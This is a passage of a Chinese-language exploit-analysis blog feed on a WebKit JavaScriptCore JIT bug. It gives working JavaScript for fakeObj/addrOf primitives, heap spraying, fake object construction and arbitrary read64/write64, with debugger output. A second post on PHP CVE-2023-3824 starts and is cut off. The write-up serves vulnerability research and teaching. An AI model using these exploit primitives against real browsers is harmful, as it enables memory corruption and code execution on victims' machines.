class="line">          0x7f8a6d304d61: mov $0x7f8a6d113140, %r11</span><br><span class="line">          0x7f8a6d304d6b: mov (%r11), %r11</span><br><span class="line">          0x7f8a6d304d6e: test %r11, %r11</span><br><span class="line">          0x7f8a6d304d71: jz 0x7f8a6d304d7e</span><br><span class="line">          0x7f8a6d304d77: mov $0x113, %r11d</span><br><span class="line">          0x7f8a6d304d7d: int3 </span><br><span class="line">          0x7f8a6d304d7e: xor %edx, %edx</span><br><span class="line">          0x7f8a6d304d80: cmp -0x8(%rax), %edx</span><br><span class="line">          0x7f8a6d304d83: jae 0x7f8a6d305082</span><br><span class="line">          0x7f8a6d304d89: movsd (%rax,%rdx,8), %xmm0</span><br><span class="line">          0x7f8a6d304d8e: ucomisd %xmm0, %xmm0</span><br><span class="line">          0x7f8a6d304d92: jp 0x7f8a6d3050a9</span><br><span class="line"></span><br><span class="line">626:&lt; 1:loc13&gt;ValueRep(DoubleRep:@438&lt;Double&gt;, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)</span><br><span class="line">          0x7f8a6d304d98: movq %xmm0, %rax</span><br><span class="line">          0x7f8a6d304d9d: sub %r14, %rax</span><br><span class="line">          0x7f8a6d304da0: cmp %r14, %rax</span><br><span class="line">          0x7f8a6d304da3: jae 0x7f8a6d304db2</span><br><span class="line">          0x7f8a6d304da9: test %rax, %r14</span><br><span class="line">          0x7f8a6d304dac: jnz 0x7f8a6d304db9</span><br><span class="line">          0x7f8a6d304db2: mov $0x3c, %r11d</span><br><span class="line">          0x7f8a6d304db8: int3 </span><br></pre></td></tr></table></figure><p>可以看到<code>GetByVal</code>只进行了array index的检查 (<code>$rax</code> 为butterfly的地址), 然后就把值取出来了 (放在<code>$rax</code>上). 而后有一个<code>ValueRep</code>操作, 看一下对应的codegen代码(<code>Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp</code>), 它配合<code>DoubleRep</code> 会将指定的值boxxing成一个合法的<code>Double</code>. 看到这里我们才意识到double-floating point可能就是以原值存储的. 对此, JSC (<code>Source/JavaScriptCore/bytecode/DataFormat.h</code>)解释为</p><blockquote><p>Values may be unboxed primitives (int32, double, or cell), or boxed as a JSValue. For boxed values, we may know the type of boxing that has taken place. (May also need bool, array, object, string types!)</p></blockquote><p>总之就是一句话<strong>Storing our value as a JSValue is necessary</strong>. 可以尽可能地优化掉encode/decode带来的performance. 在这里作为函数返回值, Caller可能不能准确地预知它的类型, 那么统一将其视为<code>JSValue</code>, 所以这里需要一个boxDouble过程. 使得即使这里是一个<code>Pointer</code>, JSC依然认为其就是一个double-floating point.</p><h2 id="x05-fakeobj原语">0x05 fakeObj原语</h2><p>原语如下, 来自[1] . 传入的<code>addr</code>为一个double, 作为fake object的地址.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fakeObj</span>(<span class="params">addr</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">var</span> victim_array = [<span class="number">1.1</span>];</span><br><span class="line">    <span class="keyword">var</span> reg = <span class="regexp">/abc/y</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> funcToJIT = <span class="function"><span class="keyword">function</span>(<span class="params">array</span>)</span>&#123;</span><br><span class="line">        <span class="string">&#x27;abc&#x27;</span>.match(reg);</span><br><span class="line">        array[<span class="number">0</span>] = addr;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>; i &lt; <span class="number">10000</span>; i++)&#123;</span><br><span class="line">        funcToJIT(victim_array);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    regexLastIndex = &#123;&#125;;</span><br><span class="line">    regexLastIndex.toString = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        victim_array[<span class="number">0</span>] = &#123;&#125;;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;0&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    reg.lastIndex = regexLastIndex;</span><br><span class="line">    funcToJIT(victim_array);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> victim_array[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>与Simple POC比较相似. 想要<code>fakeObj</code> make sense, 我们需要传入一个<strong>正确的addr</strong>. 换句话, 这个<code>addr</code>对应的memory layout必须长的像一个<code>JSObject</code>才行. 比如<code>v = &#123;a : 1, b : 2&#125;</code>,</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; describe(v)   </span><br><span class="line">Object: 0x7f5998db0080 with butterfly (nil) (Structure 0x7f5998d70380:[Object, &#123;a:0, b:1&#125;, NonArray, Proto:0x7f5998db4000, Leaf]), StructureID: 295</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x&#x2F;4gx 0x7f5998db0080</span><br><span class="line">0x7f5998db0080: 0x0100160000000127  0x0000000000000000  jscell | butterfly_pointer</span><br><span class="line">0x7f5998db0090: 0xffff000000000001  0xffff000000000002  a : 1  | b : 2</span><br></pre></td></tr></table></figure><p>这里提出两个小问题:</p><ol type="1"><li>在哪里伪造fake object ?</li><li>伪造fake object时需要注意什么 ?</li></ol><p>首先我们来回答<strong>第一个问题</strong>, 最简单的方法就是利用inline property storage. 比如我可以通过<code>v.a = int2f(0x0100160000000127 - 2^48)</code> (注意<code>Double</code>编码) 来构造如下memory layout:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x&#x2F;4gx 0x7f5998db0080</span><br><span class="line">0x7f5998db0080: 0x0100160000000127  0x0000000000000000  jscell | butterfly_pointer</span><br><span class="line">0x7f5998db0090: 0x0100160000000127  0xffff000000000002  a : dd | b : 2    &lt;---- fake_object</span><br></pre></td></tr></table></figure><p>按道理, 你在butterfly上构造也是可以的. 简而言之你可以通过设置property或者elements来布置memory layout.</p><p>再来回答<strong>第二个问题</strong>. 伪造一个"能用的" object需要具备以下几个条件:</p><ol type="1"><li><code>JSCell</code> header需要设置正确, 其中比较关键是<code>structureId</code>, 其余的修饰字段, 可以申请一个合适的object然后复制粘贴. 一个object的structure决定我们可以如何操作这个object.</li><li>如果需要设置butterfly pointer, 首先它是一个<code>Pointer</code>; 如果不需要设置butterfly pointer, 那么需要将其置为NULL.</li></ol><p>这里面问题就是, 如果需要布置的data不是一个valid double, 我们应当如何操作呢? 比如写bufferfly pointer这里, 或者<code>JSCell</code>对应不是像上面一样是一个valid double. 答案是我们可以通过某种indirect write的方式实现. 关于写NULL是有一个小trick的, 我们可以<code>delete(v.b)</code>来实现.</p><h2 id="x06-arbitrary-read-and-write-原语">0x06 Arbitrary Read and Write 原语</h2><h3 id="x06.1-基本构造思路">0x06.1 基本构造思路</h3><p>思想来自于[2], 其包含的大致路线就是:</p><ol type="1"><li>构造一个fake_object</li><li>通过fake_object控制victim_object的butterfly.</li><li>读写victim_object的property实现任意地址的读写.</li></ol><p>其实这个构造过程有点绕, 需要花一点点图来帮助理解.</p><p>前面提到, 我们如果需要设置butterfly, 就需要写入一个合法的 <code>Pointer</code>. 考虑我们将fake_object的butterfly设置成一个object的地址会发生什么? 参考下述<strong>图1</strong>:</p><figure><img src="https://raw.githubusercontent.com/m4p1e/images/master/jscreg2018-4.jpg" alt="indirect write 1" /><figcaption aria-hidden="true">indirect write 1</figcaption></figure><p>这里我们做了这样几件事:</p><ol type="1"><li>申请一个正常的victim_jsobject.</li><li>构造了一个user_jsobject (无butterfly), 在它的inline property storage上构造了一个fake_jsobject.</li><li>使得fake_jsobject的butterfly pointer为victim_jsobject.</li></ol><p>当有这样一个结构之后, 我们可以尝试进行以下操作:</p><ol type="1"><li>操作fake_jsobject的属性或者元素, 来修改victim_jsobject的victim_butterfly_pointer.</li><li>将victim_butterfly_pointer置为我们想要读写的目标内存地址.</li><li>操作victim_jsobject的属性或者元素, 来修改目标内存上的内容.</li></ol><p>这就是我们的思路, 接下来就是填补里面的细节.</p><h3 id="x06.2-确定fake_jsobject和victim_jsobject">0x06.2 确定fake_jsobject和victim_jsobject</h3><p>影响我们构造fake_jsobject的两个因素:</p><ol type="1"><li>victim_jsobject被视为一个butterfly.</li><li>vitcim_butter_pointer位于<code>addr_of_victim_jsobject + 0x8</code>的位置.</li></ol><p>那么我们最好的做法是通过<code>fake_obj[1] = target_victim_butterfly_pointer</code>. 那么需要满足这样几个条件:</p><ol type="1"><li>fake_jsobject包含一个array, i.e., <code>fake_obj = [1.1,2.2]</code>.</li><li>fake_structure_id要对应包含上述array的structure.</li><li>fake_butterfly_pointer需要正好指向victim_jsobject.</li></ol><p>满足这些条件的方法就是heap spraying. 参考来自[2]的heap spraying代码片段:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> obj_arr = [];</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">var</span> obj = [<span class="number">13.37</span>];</span><br><span class="line">    obj.a = <span class="number">0.25</span>;</span><br><span class="line">    obj[<span class="string">&#x27;p&#x27;</span>+i] = <span class="number">0.5</span>;</span><br><span class="line">    obj_arr.push(obj)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>每一个<code>obj</code>:</p><ul><li>包含array, 用来构造fake_jsobject需要的structure.</li><li>一个固定属性, 用于操作victim_jsobject, 后面细说.</li><li>一个随机属性, 用于产生大量不同的structure, 进而占据大量structure ids.</li></ul><p>我们将其中一个<code>obj</code>也作为victim_jsobject.</p><p>假设上述任意一个<code>obj</code>对应的<code>JSObject</code>如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; describe(obj_arr[0])       </span><br><span class="line">Object: 0x7eff2edb4360 with butterfly 0x7ee0000e4088 (Structure 0x7eff2ed70380:[Array, &#123;a:100, p0:101&#125;, ArrayWithDouble, Proto:0x7eff2edc80a0, Leaf]), StructureID: 295</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x&#x2F;4gx 0x7eff2edb4360</span><br><span class="line">0x7eff2edb4360: 0x0108210700000127  0x00007ee0000e4088  js_cell | butterfly pointer</span><br></pre></td></tr></table></figure><p>构造fake_jsobject过程如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> convert = <span class="keyword">new</span> <span class="built_in">ArrayBuffer</span>(<span class="number">0x10</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="built_in">Uint32Array</span>(convert);</span><br><span class="line"><span class="keyword">var</span> u8 = <span class="keyword">new</span> <span class="built_in">Uint8Array</span>(convert);</span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="built_in">Float64Array</span>(convert);</span><br><span class="line"><span class="keyword">var</span> BASE = <span class="number">0x100000000</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">f2i</span>(<span class="params">f</span>) </span>&#123;</span><br><span class="line">    f64[<span class="number">0</span>] = f;</span><br><span class="line">    <span class="keyword">return</span> u32[<span class="number">0</span>] + BASE*u32[<span class="number">1</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">i2f</span>(<span class="params">i</span>) </span>&#123;</span><br><span class="line">    u32[<span class="number">0</span>] = i%BASE;</span><br><span class="line">    u32[<span class="number">1</span>] = i/BASE;</span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">u32[<span class="number">0</span>] = <span class="number">0x200</span>; <span class="comment">// 512</span></span><br><span class="line">u32[<span class="number">1</span>] = <span class="number">0x01082109</span> - <span class="number">0x10000</span>; <span class="comment">// 考虑boxed double</span></span><br><span class="line"><span class="keyword">var</span> arrayWithContiguous= f64[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line">u32[<span class="number">1</span>] = <span class="number">0x01082107</span> - <span class="number">0x10000</span>; <span class="comment">// 考虑boxed double</span></span><br><span class="line"><span class="keyword">var</span> arrayWithDouble= f64[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> victim_obj = obj_arr[<span class="number">500</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> user_obj = &#123;</span><br><span class="line">    js_cell_header : arrayWithContiguous,</span><br><span class="line">    butterfly_pointer: victim_obj</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fake_obj = fakeObj(i2f(f2i(addrOf(user_obj)) + <span class="number">0x10</span>))</span><br></pre></td></tr></table></figure><p>这里有几个问题:</p><ol type="1"><li><p>这个<code>f2i</code>准不准? 因为javascript里面是没有int64的, 而double的有效位是53. 但是对于这里我们指针操作而言, 已经足够了, 因为指针的有效位是48.</p></li><li><p><code>fake_obj</code>和<code>obj</code>的description不是一致的(<code>ArrayWithDouble</code>), 而是<code>ArrayWithContiguous</code>. 因为后面在我们会在<code>fake_obj</code>写入其他类型的值, 如果是<code>ArrayWithDouble</code>, 会导致一个conversion, 这个conversion会出问题. 因为<code>fake_obj</code>的butterfly (即<code>victim_obj</code>) 并不是一个<code>ArrayWithDouble</code>. 在[1]中构造中, <code>fake_obj</code>的description使用了<code>ArrayWithDouble</code>, 其实是有问题的.</p><ul><li><code>static const IndexingType ContiguousShape = 0x08;</code></li><li><code>static const IndexingType DoubleShape = 0x06;</code></li></ul></li><li><p><code>fake_obj</code>有没有可能构造失败? 显然是有的, 因为fake_structure_id有可能选择失败. 那么有没有更safe的方法呢? 可以去看[3], Linus采用的方法是</p><ul><li>找一个native structure来利用, 比如<code>WebAssembly.Memory</code>, 使得我们这里的<code>obj = new WebAssembly.Memory(&#123;inital: 0&#125;)</code>;</li><li>设定一个起始fake_structure_id给fake_obj, 然后通过<code>fake_obj instanceof WebAssembly.Memory</code>来确定<code>fake_obj</code>是否构造成功.</li><li>如果不是<code>WebAssembly.Memory</code> , 则让fake_structure_id加1, 继续检查.</li></ul><p>这个过程中Linus还有一些优化操作, 具体的可以查看[4].</p></li></ol><p>我们可以来验证一下构造的fake_obj.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; describe(fake_obj)</span><br><span class="line">Object: 0x7fbb6b9c83b0 with butterfly 0x7fbb6b9b62d0 (Structure 0x7fbb6b94a3e0:[Array, &#123;a:100, p189:101&#125;, ArrayWithDouble, Proto:0x7fbb6b9c80a0, Leaf]), StructureID: 512</span><br><span class="line">&gt;&gt;&gt; describe(victim_object)</span><br><span class="line">Object: 0x7fbb6b9b62d0 with butterfly 0x7fa8000c5f48 (Structure 0x7fbb6b936ed0:[Array, &#123;a:100, p500:101&#125;, ArrayWithDouble, Proto:0x7fbb6b9c80a0, Leaf]), StructureID: 823</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x&#x2F;4gx 0x7fbb6b9c83b0</span><br><span class="line">0x7fbb6b9c83b0: 0x0108210700000200  0x00007fbb6b9b62d0</span><br></pre></td></tr></table></figure><p>可以看见<code>fake_obj</code>和<code>victim_obj</code>都具有我们预期的structure, 并且<code>fake_obj</code>的butterfly pointer指向<code>victim_obj</code>.</p><h3 id="x06.3-构造read64和write64">0x06.3 构造read64和write64</h3><p>接下来我们构造任意地址上的read64和write64. 首先我们看一下<code>victim_object</code>的butterfly布局</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x&#x2F;4gx 0x7fa8000c5f30 </span><br><span class="line">0x7fa8000c5f30: 0x3fe1000000000000  0x3fd1000000000000  p500 | a</span><br><span class="line">0x7fa8000c5f40: 0x0000000100000001  0x402abd70a3d70a3d  len  | 13.37</span><br><span class="line">                                    |</span><br><span class="line">                                    |</span><br><span class="line">                            victim_butterfly_pointer</span><br></pre></td></tr></table></figure><p>当我们访问<code>victim_object.a</code>时, 实际访问是地址victim_butterfly_pointer - 0x10处的值. 这意味着我们如果想要访问target_mem, 那么我们应该将victim_butterfly_pointer设置为target_mem + 0x10.</p><p>现在我们假设victim_butterfly_pointer根据target_mem设置正确了, 这里还有几个值得商榷的细节,</p><ol type="1"><li>如果<code>victim_object.a</code>的值不是<code>Double</code>, 比如是一个<code>Pointer</code>, 我们如何读呢? 即我们如何将任意的值都转换成<code>Double</code>读出来.</li><li>反过来, 如果要写入值是一个地址, 如何让<code>victim_object.a</code>拥有一个<code>Pointer</code>呢? 即我们如何将任意的值都转换成<code>Double</code>写入.</li></ol><p>我们依然参考[2]中的利用, 接下来过程可以称的上非常精彩.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> unboxed = [<span class="number">13.37</span>];</span><br><span class="line">unboxed[<span class="number">0</span>] = <span class="number">4.2</span>; <span class="comment">// #防止unboxed成为CopyOnWriteArrayWithDouble, 赋值一次可确保ArrayWithDouble (来自[1])</span></span><br><span class="line"><span class="keyword">var</span> boxed = [&#123;&#125;];</span><br><span class="line"></span><br><span class="line">fake_obj[<span class="number">1</span>] = unboxed;</span><br><span class="line"><span class="keyword">var</span> shared_butterfly = f2i(victim_obj[<span class="number">1</span>])</span><br><span class="line">fake_obj[<span class="number">1</span>] = boxed;</span><br><span class="line">victim_obj[<span class="number">1</span>] = i2f(shared_butterfly);</span><br><span class="line"></span><br><span class="line">user_obj.js_cell_header = arrayWithDouble <span class="comment">//</span></span><br></pre></td></tr></table></figure><p>来一步步的解释下这里在干什么:</p><ol type="1"><li><p>首先我们构造了<code>unboxed</code>和<code>boxed</code>, 它分别是一个<code>ArrayWithDouble</code>和<code>ArrayWithContiguous</code>. 前面我提到过<code>ArrayWithDouble</code>里面存储的都是unboxed value, 而<code>ArrayWithContiguous</code>里面存储的是boxed value, 即正常的<code>JSValue</code>.</p></li><li><p>执行<code>fake_obj[1] = unboxed</code>使得<code>victim_obj</code>的butterfly pointer指向了<code>unboxed</code>.</p></li><li><p>此时<code>victim_obj[1]</code>实际就是<code>unboxed</code>的butterfly pointer, 而<code>victim_obj</code>是一个<code>ArrayWithDouble</code>, 所以<code>shared_butterfly</code>就是<code>unboxed</code>的butterfly地址.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; print(shared_butterfly)</span><br><span class="line">140050293817352</span><br><span class="line">pwndbg&gt; p&#x2F;x 140050293817352</span><br><span class="line">$7 &#x3D; 0x7f6000038008</span><br><span class="line">&gt;&gt;&gt; describe(unboxed)</span><br><span class="line">Object: 0x7f7be0bcc060 with butterfly 0x7f6000038008</span><br></pre></td></tr></table></figure></li><li><p>同理, 再执行<code>fake_obj[1] = boxed</code>使得<code>victim_obj</code>的butterfly pointer指向了<code>boxed</code>.</p></li><li><p>此时<code>victim_obj[1]</code>实际就是<code>boxed</code>的butterfly pointer, 之后使得<code>boxed</code>的butterfly pointer指向了<code>unboxed</code>的butterfly.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; describe(unboxed)        </span><br><span class="line">Object: 0x7f7be0bcc060 with butterfly 0x7f6000038008 (Structure 0x7f7be1bf2a70:[Array, &#123;&#125;, ArrayWithDouble, Proto:0x7f7be1bc80a0]), StructureID: 98</span><br><span class="line">&gt;&gt;&gt; describe(boxed)</span><br><span class="line">Object: 0x7f7be0bcc070 with butterfly 0x7f6000038008 (Structure 0x7f7be1bf2ae0:[Array, &#123;&#125;, ArrayWithContiguous, Proto:0x7f7be1bc80a0]), StructureID: 99</span><br></pre></td></tr></table></figure></li><li><p>最后我们将<code>fake_obj</code>的description恢复成<code>ArrayWithDouble</code>, 使得我们将地址当做double的时候, 以原值存储.</p></li></ol><p>用图表示就是</p><figure><img src="https://raw.githubusercontent.com/m4p1e/images/master/jscreg2018-3.jpg" alt="Hax" /><figcaption aria-hidden="true">Hax</figcaption></figure><p>这样使得<code>unboxed</code>和<code>boxed</code>拥有了相同的butterfly, 也就意味着, 一个数据可以按照unboxed value或者boxed value来进行处理. 这样使得我们有了更加稳定的<code>addrOf</code>和<code>fakeObj</code>原语, 这一步构造我觉得非常精妙.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> stage2 = &#123;</span><br><span class="line">    addrof : <span class="function"><span class="keyword">function</span> (<span class="params">obj</span>)</span>&#123;</span><br><span class="line">        boxed[<span class="number">0</span>] = obj;</span><br><span class="line">        <span class="keyword">return</span> f2i(unboxed[<span class="number">0</span>]);</span><br><span class="line">    &#125;,</span><br><span class="line">    fakeobj : <span class="function"><span class="keyword">function</span> (<span class="params">addr</span>)</span>&#123;</span><br><span class="line">        unboxed[<span class="number">0</span>] = i2f(addr);</span><br><span class="line">        <span class="keyword">return</span> boxed[<span class="number">0</span>];</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>另外<code>addrOf</code>原语不仅可以读Object的地址 (或者说<code>Pointer</code>), 其他类型的值都是可以读的, 其值都是double形式返回. 那么我们的<code>read64</code>即为</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">stage2.read64 = <span class="function"><span class="keyword">function</span>(<span class="params">where</span>) </span>&#123;</span><br><span class="line">    fake_obj[<span class="number">1</span>] = i2f(where + <span class="number">0x10</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.addrof(victim_obj.a);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于<code>write64</code>如下</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">stage2.write = <span class="function"><span class="keyword">function</span>(<span class="params">where, what</span>) </span>&#123;</span><br><span class="line">    fake_obj[<span class="number">1</span>] = i2f(where + <span class="number">0x10</span>);</span><br><span class="line">    victim_obj.a = <span class="built_in">this</span>.fakeobj(what);</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure><p>注意现在<code>fakeObj</code>实际是可以封装任意的值, 将其封装为一个JSValue, 最后由以原值写入目标内存.</p><h2 id="x07-代码执行">0x07 代码执行</h2><p>常规手段, 找到RWX段, 写shellcode.</p><h2 id="x08-小问题">0x08 小问题</h2><p><strong>ubuntu20.04编译jsc出现的依赖问题</strong></p><p>编译过程如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Tools&#x2F;gtk&#x2F;install-dependencies</span><br><span class="line">Tools&#x2F;Scripts&#x2F;build-webkit --jsc-only --debug</span><br></pre></td></tr></table></figure><p>遇到了<code>libsrtp0-dev is not available</code>, 可以替换成<code>libsrtp2-dev</code>.</p><h2 id="引用">引用</h2><ol type="1"><li>JavaScript engine exploit（二）,https://www.anquanke.com/post/id/183805</li><li>NiklasB Exploit, https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html</li><li>Linus Exploit, https://github.com/LinusHenze/WebKit-RegEx-Exploit/blob/master/pwn.js</li><li>Preparing for Stage 2 of a WebKit Exploit, https://liveoverflow.com/preparing-for-stage-2-of-a-webkit-exploit/</li><li>The Apple Bug That Fell Near The WebKit Tree, https://www.zerodayinitiative.com/blog/2019/3/14/the-apple-bug-that-fell-near-the-webkit-tree</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;x00-official-bug-reports&quot;&gt;0x00 Official Bug Reports&lt;/h2&gt;
&lt;p&gt;Bug report: https://bugs.webkit.org/show_bug.cgi?id=191731&lt;/p&gt;
&lt;p&gt;关键的Pat</summary>
      
    
    
    
    <category term="jsc" scheme="https://m4p1e.com/categories/jsc/"/>
    
    
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    <title>CVE-2023-3824: 幸运的Off-by-one (two?)</title>
    <link href="https://m4p1e.com/2024/03/01/CVE-2023-3824/"/>
    <id>https://m4p1e.com/2024/03/01/CVE-2023-3824/</id>
    <published>2024-03-01T21:00:00.000Z</published>
    <updated>2024-03-08T13:18:36.103Z</updated>
    
    <content type="html"><![CDATA[<h4 id="故事经过">故事经过</h4><p>前天看见了一个新闻[1], 英国国家打击犯罪局（NCA）、美国联邦调查局（FBI）、欧洲刑警组织等执法部门宣称联合捣毁了世界上最大的网络犯罪集团LockBit. 这里面提到了这些执法机构利用了一个<strong>PHP漏洞 (CVE-2023-3824)</strong> , 这引起了我的兴趣. 为啥执法机构会暴露这些细节呢? 查了一下, 原来是该犯罪团伙负责人自己说的, 他也只怪自己没有及时地更新PHP :( .</p><h4 id="简略分析">简略分析</h4><p>简单搜索了一下, 没有找到关于它的利用方式, 那只能咱亲自冻手了. 首先发现PHP官方Repo已经收录了这个安全问题[2], PHP官方对此评价为"Exploiting this is difficult to do".</p><p>其问题出现在函数<code>phar_dir_read</code> at <code>ext/phar/dirstream.c</code>. 关于这个函数写的怎么样, 咱只能说一言难尽.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">ssize_t</span> <span class="title">phar_dir_read</span><span class="params">(php_stream *stream, <span class="keyword">char</span> *buf, <span class="keyword">size_t</span> count)</span> <span class="comment">/* &#123;&#123;&#123; */</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">size_t</span> to_read;</span><br><span class="line">HashTable *data = (HashTable *)stream-&gt;abstract;</span><br><span class="line">zend_string *str_key;</span><br><span class="line">zend_ulong unused;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (HASH_KEY_NON_EXISTENT == zend_hash_get_current_key(data, &amp;str_key, &amp;unused)) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">zend_hash_move_forward(data);</span><br><span class="line">to_read = MIN(ZSTR_LEN(str_key), count);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (to_read == <span class="number">0</span> || count &lt; ZSTR_LEN(str_key)) &#123;</span><br><span class="line"><span 